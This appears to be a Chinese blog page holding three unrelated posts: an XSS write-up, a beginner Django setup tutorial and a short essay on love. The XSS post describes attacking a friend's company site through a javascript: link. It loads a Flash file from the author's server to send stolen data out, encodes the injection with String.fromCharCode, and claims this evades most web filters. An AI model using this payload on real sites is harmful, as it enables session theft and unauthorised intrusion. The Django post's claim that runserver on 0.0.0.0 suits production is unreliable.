某朋友公司一个xss的实现

今天基友depy丢给我一个xss,输入点如下

<a href="输入点">xx</a>

很自然而然的,在输入点输入javascript:alert(1)会触发一个弹窗,但是我的朋友无法将信息传输到xss平台,也就是无法利用
http://www.inetsrc.com/test/xsscode.html
我随手丢了一个地址,可是似乎问题没有那么简单。

大概会出现这种情况,我使用jquery引入js,还是使用document.write写入script标签或是eval调用都无法执行js,而可以alert(1)

纠结了好久,后来在调试台发现了一个问题

页面设置阻止了资源的加载,阻止了非同域的资源,这种情况我也是第一次见到,因为这种方法在防御起xss来作用并不大,并且对后期维护比较麻烦。

所以在这种情况下,我们只能把我们整段的js代码放到javascript后面执行。

但是这一种方法很不稳妥,即便代码完整的复制过去,也会有很多小错误等着你去更改,所以为了稳妥,我考虑了使用其他办法。

由于没有编辑swf工具,就使用JPEXS反编译了一下一个poc,将所有代码整合到其中,这样子十分的方便。

<embed src=http://www.inetsrc.com/1.swf allowscriptaccess=always type=application/x-shockwave-flash></embed>

然后把他上传到我的服务器,如上代码用来盲打的效果更棒,如果没记错,这一个方法可以过掉多数xss的waf。

document.write(String.fromCharCode(60,101,109,98,101,100,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,105,110,101,116,115,114,99,46,99,111,109,47,49,46,115,119,102,32,97,108,108,111,119,115,99,114,105,112,116,97,99,99,101,115,115,61,97,108,119,97,121,115,32,116,121,112,101,61,97,112,112,108,105,99,97,116,105,111,110,47,120,45,115,104,111,99,107,119,97,118,101,45,102,108,97,115,104,62));

再用document的方法写入这个标签,当然你也可以使用document.write(‘标签内容’),而我之所以如此是因为这一方法不需要考虑引号的问题。

如此以来我们收到的信息就很正常了,也比较简便快捷。

当然由于第一次遇到这种情况,我后续会更新对这个问题的研究。

第一个django应用

首先需要安装环境ipython和pip

sudo apt-get install ipython
sudo apt-get install python-pip

安装完成之后使用pip安装django

sudo pip install django
sudo pip install django==1.10.2#也可以指定版本安装

创建一个目录用来存放我的第一个应用

mkdir xsseng
cd xsseng

创建一个django应用

django-admin startproject mysite#将它命名为mysite

为了方便查看结构,安装tree

sudo apt-get install tree

之后使用tree来查看目录效果如下

sudo apt-get install tree
tree


接着启动mysite

cd mysite
python manage.py runserver#这将会让你的应用在本地可以访问,生存环境请使用以下命令
#python manage.py runserver 0.0.0.0:8000


DisallowedHost at / 则需要你配置host,你需要使用ctrl+c退出。

cd mysite
vim settings.py

修改成如下

ALLOWED_HOSTS = [
    '.example.com',  # Allow domain and subdomains
    '.example.com.',  # Also allow FQDN and subdomains
]


如图就完成了第一个django应用了
误区1
如果你使用了不当的退出方式,可以使用以下方式来关闭django

lsof -i:8000
kill -9 pid

为了能使用django的默认应用你至少需要为他们创建数据表。

$ python manage.py migrate

当然如果要使用django的后台你至少需要创建一个超级用户

$ python manage.py createsuperuser


如图你就可以登陆django的后台了。

一段爱,成全几多

或说爱情永恒,或说情比金坚,或说至死不渝。可又有多少人知道,一段爱情背后,是多少人所付出的成全。一断爱,又成全了几多人。

想到爱情如此艰辛,难免心有戚戚,乍一想爱情来之不易,是更应该珍惜这来之不易的爱情。不论成全几多,不悲不喜,一句话。

愿卿明年,侯门朱户。